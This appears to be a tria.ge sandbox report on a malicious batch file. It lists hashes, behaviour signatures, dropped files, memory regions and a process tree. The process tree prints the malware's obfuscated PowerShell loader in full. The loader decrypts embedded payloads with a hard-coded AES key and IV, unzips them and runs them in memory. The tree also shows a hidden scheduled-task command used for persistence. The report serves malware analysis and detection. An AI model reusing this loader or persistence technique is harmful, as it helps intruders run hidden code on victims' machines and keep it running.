Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/08/2024, 14:16

General

  • Target

    bat.bat

  • Size

    5.8MB

  • MD5

    f3281ed9a501fd2ff062664456bd3016

  • SHA1

    4e41be0fe4bf26907eaa738fffaabf10651c15b5

  • SHA256

    3e27d2aee2a3f3a1f28e27100ed8b966ee82a85ec94d8d715f390d824e20abba

  • SHA512

    cbd41cc54655e2fc7159d4cf50c6b0424b7caf927016735bf1e84b1b69ff58cf12abcee724af99f2c0aba7e176393477c16cf183d99c48163d9b85f8e7aaf1b4

  • SSDEEP

    98304:BAqV8T0g2Vnxg8T2D0aBBbhP9HbTEU28tf:4TNBBbhPdT/f

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 49 IoCs
  • Modifies registry class 29 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:812
    • C:\Windows\system32\backgroundTaskHost.exe
      "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
      2⤵
        PID:3708
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k RPCSS -p
      1⤵
        PID:932
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:984
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:776
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:1040
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
              1⤵
                PID:1056
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1112
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1120
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                      PID:1220
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                      1⤵
                        PID:1228
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1292
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                          1⤵
                            PID:1328
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1384
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                              1⤵
                                PID:1436
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                1⤵
                                  PID:1488
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1524
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1540
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                      1⤵
                                        PID:1692
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1712
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1768
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1804
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1836
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                1⤵
                                                  PID:1952
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1992
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:2000
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1392
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                        1⤵
                                                          PID:2144
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2176
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                            1⤵
                                                              PID:2192
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2292
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2532
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                  1⤵
                                                                    PID:2540
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                    1⤵
                                                                      PID:2684
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                      1⤵
                                                                        PID:2780
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                        1⤵
                                                                        • Modifies data under HKEY_USERS
                                                                        PID:2788
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                          PID:2836
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2884
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2900
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3420
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Modifies registry class
                                                                                PID:3536
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bat.bat"
                                                                                  2⤵
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:792
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dyVGy+AK/alUx4C1KZGPyURnZpXePTKfrvzd88J4h2c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EtptwhXr1MaRHHI/4/0emw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $JxCCm=New-Object System.IO.MemoryStream(,$param_var); $fscLF=New-Object System.IO.MemoryStream; $beNoU=New-Object System.IO.Compression.GZipStream($JxCCm, [IO.Compression.CompressionMode]::Decompress); $beNoU.CopyTo($fscLF); $beNoU.Dispose(); $JxCCm.Dispose(); $fscLF.Dispose(); $fscLF.ToArray();}function execute_function($param_var,$param2_var){ $eJqYy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wnjdB=$eJqYy.EntryPoint; $wnjdB.Invoke($null, $param2_var);}$pMUKG = 'C:\Users\Admin\AppData\Local\Temp\bat.bat';$host.UI.RawUI.WindowTitle = $pMUKG;$hJjhE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMUKG).Split([Environment]::NewLine);foreach ($cavJU in $hJjhE) { if ($cavJU.StartsWith('cypLHeqrkKMWSgQqffJU')) { $ycQqn=$cavJU.Substring(20); break; }}$payloads_var=[string[]]$ycQqn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                    3⤵
                                                                                      PID:4568
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                      3⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Modifies registry class
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:2844
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_25_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_25.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                        4⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:4596
                                                                                      • C:\Windows\System32\WScript.exe
                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_25.vbs"
                                                                                        4⤵
                                                                                        • Checks computer location settings
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:564
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_25.bat" "
                                                                                          5⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4528
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dyVGy+AK/alUx4C1KZGPyURnZpXePTKfrvzd88J4h2c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EtptwhXr1MaRHHI/4/0emw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $JxCCm=New-Object System.IO.MemoryStream(,$param_var); $fscLF=New-Object System.IO.MemoryStream; $beNoU=New-Object System.IO.Compression.GZipStream($JxCCm, [IO.Compression.CompressionMode]::Decompress); $beNoU.CopyTo($fscLF); $beNoU.Dispose(); $JxCCm.Dispose(); $fscLF.Dispose(); $fscLF.ToArray();}function execute_function($param_var,$param2_var){ $eJqYy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wnjdB=$eJqYy.EntryPoint; $wnjdB.Invoke($null, $param2_var);}$pMUKG = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_25.bat';$host.UI.RawUI.WindowTitle = $pMUKG;$hJjhE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMUKG).Split([Environment]::NewLine);foreach ($cavJU in $hJjhE) { if ($cavJU.StartsWith('cypLHeqrkKMWSgQqffJU')) { $ycQqn=$cavJU.Substring(20); break; }}$payloads_var=[string[]]$ycQqn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                            6⤵
                                                                                              PID:2012
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                              6⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Modifies registry class
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:3496
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3672
                                                                                    • C:\Windows\System32\svchost.exe
                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                      1⤵
                                                                                        PID:4940
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                        1⤵
                                                                                          PID:4884
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                          1⤵
                                                                                            PID:3692
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:712
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                            1⤵
                                                                                              PID:4848
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                              1⤵
                                                                                                PID:2572

                                                                                              Network

                                                                                              MITRE ATT&CK Enterprise v15

                                                                                              Replay Monitor

                                                                                              Loading Replay Monitor...

                                                                                              Downloads

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                Filesize

                                                                                                2KB

                                                                                                MD5

                                                                                                80b08b611f1f7ee7f1bba68444c29dd7

                                                                                                SHA1

                                                                                                22f60b429e49f8a3a260c87c0806a1cd4a970692

                                                                                                SHA256

                                                                                                48ec3b10db2c486343a2154708b2fc08c01f2458d82b588dfdce3a97128790ac

                                                                                                SHA512

                                                                                                ecca9e00c8252957c340b01ca6272fd958167f3b09494bd73330916e3f58b7389c1254e9f9304abefc5d1646f8ff8527ed70f3ce40cfd2e4dd2426ae67a68553

                                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fjwnmex1.jnc.ps1

                                                                                                Filesize

                                                                                                60B

                                                                                                MD5

                                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                                SHA1

                                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                SHA256

                                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                SHA512

                                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                              • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_25.bat

                                                                                                Filesize

                                                                                                5.8MB

                                                                                                MD5

                                                                                                f3281ed9a501fd2ff062664456bd3016

                                                                                                SHA1

                                                                                                4e41be0fe4bf26907eaa738fffaabf10651c15b5

                                                                                                SHA256

                                                                                                3e27d2aee2a3f3a1f28e27100ed8b966ee82a85ec94d8d715f390d824e20abba

                                                                                                SHA512

                                                                                                cbd41cc54655e2fc7159d4cf50c6b0424b7caf927016735bf1e84b1b69ff58cf12abcee724af99f2c0aba7e176393477c16cf183d99c48163d9b85f8e7aaf1b4

                                                                                              • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_25.vbs

                                                                                                Filesize

                                                                                                123B

                                                                                                MD5

                                                                                                4f596628384c3249d77fe0f0dc8cb945

                                                                                                SHA1

                                                                                                70847ea80252ea857a283233662d20b49adb3aef

                                                                                                SHA256

                                                                                                03f4d597f322ecab049e2f4bd538526a952878166c81ee0430e0858e0233ac23

                                                                                                SHA512

                                                                                                d7877d9fb9990c48fd46736c9f3012c8632857ed91969fce0de71488c0f8ee2cb3873569a05fd75177010a90de90b560b4f4b2457b8d31f42b798a45f30f938b

                                                                                              • memory/776-111-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/984-99-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1220-110-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1292-112-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1328-107-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1488-103-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1524-106-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1712-108-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1768-104-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/1804-109-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/2292-101-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/2788-105-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/2844-10-0x00007FFD1AAC0000-0x00007FFD1B581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/2844-40-0x00007FFD1AAC0000-0x00007FFD1B581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/2844-11-0x000001CD04B90000-0x000001CD04BB2000-memory.dmp

                                                                                                Filesize

                                                                                                136KB

                                                                                              • memory/2844-13-0x000001CD01870000-0x000001CD018B4000-memory.dmp

                                                                                                Filesize

                                                                                                272KB

                                                                                              • memory/2844-39-0x000001CD04840000-0x000001CD04A5C000-memory.dmp

                                                                                                Filesize

                                                                                                2.1MB

                                                                                              • memory/2844-12-0x00007FFD1AAC0000-0x00007FFD1B581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/2844-16-0x000001CD018C0000-0x000001CD01916000-memory.dmp

                                                                                                Filesize

                                                                                                344KB

                                                                                              • memory/2844-15-0x000001CD01850000-0x000001CD01858000-memory.dmp

                                                                                                Filesize

                                                                                                32KB

                                                                                              • memory/2844-14-0x000001CD01940000-0x000001CD019B6000-memory.dmp

                                                                                                Filesize

                                                                                                472KB

                                                                                              • memory/2844-0-0x00007FFD1AAC3000-0x00007FFD1AAC5000-memory.dmp

                                                                                                Filesize

                                                                                                8KB

                                                                                              • memory/2884-100-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/3496-145-0x0000019814D60000-0x0000019814D9C000-memory.dmp

                                                                                                Filesize

                                                                                                240KB

                                                                                              • memory/3536-98-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB

                                                                                              • memory/3536-51-0x0000000002820000-0x000000000284A000-memory.dmp

                                                                                                Filesize

                                                                                                168KB

                                                                                              • memory/4596-32-0x00007FFD1AAC0000-0x00007FFD1B581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/4596-31-0x000002538B1B0000-0x000002538B3CC000-memory.dmp

                                                                                                Filesize

                                                                                                2.1MB

                                                                                              • memory/4596-20-0x00007FFD1AAC0000-0x00007FFD1B581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/4596-19-0x00007FFD1AAC0000-0x00007FFD1B581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/4596-18-0x00007FFD1AAC0000-0x00007FFD1B581000-memory.dmp

                                                                                                Filesize

                                                                                                10.8MB

                                                                                              • memory/4848-102-0x00007FFCF8BF0000-0x00007FFCF8C00000-memory.dmp

                                                                                                Filesize

                                                                                                64KB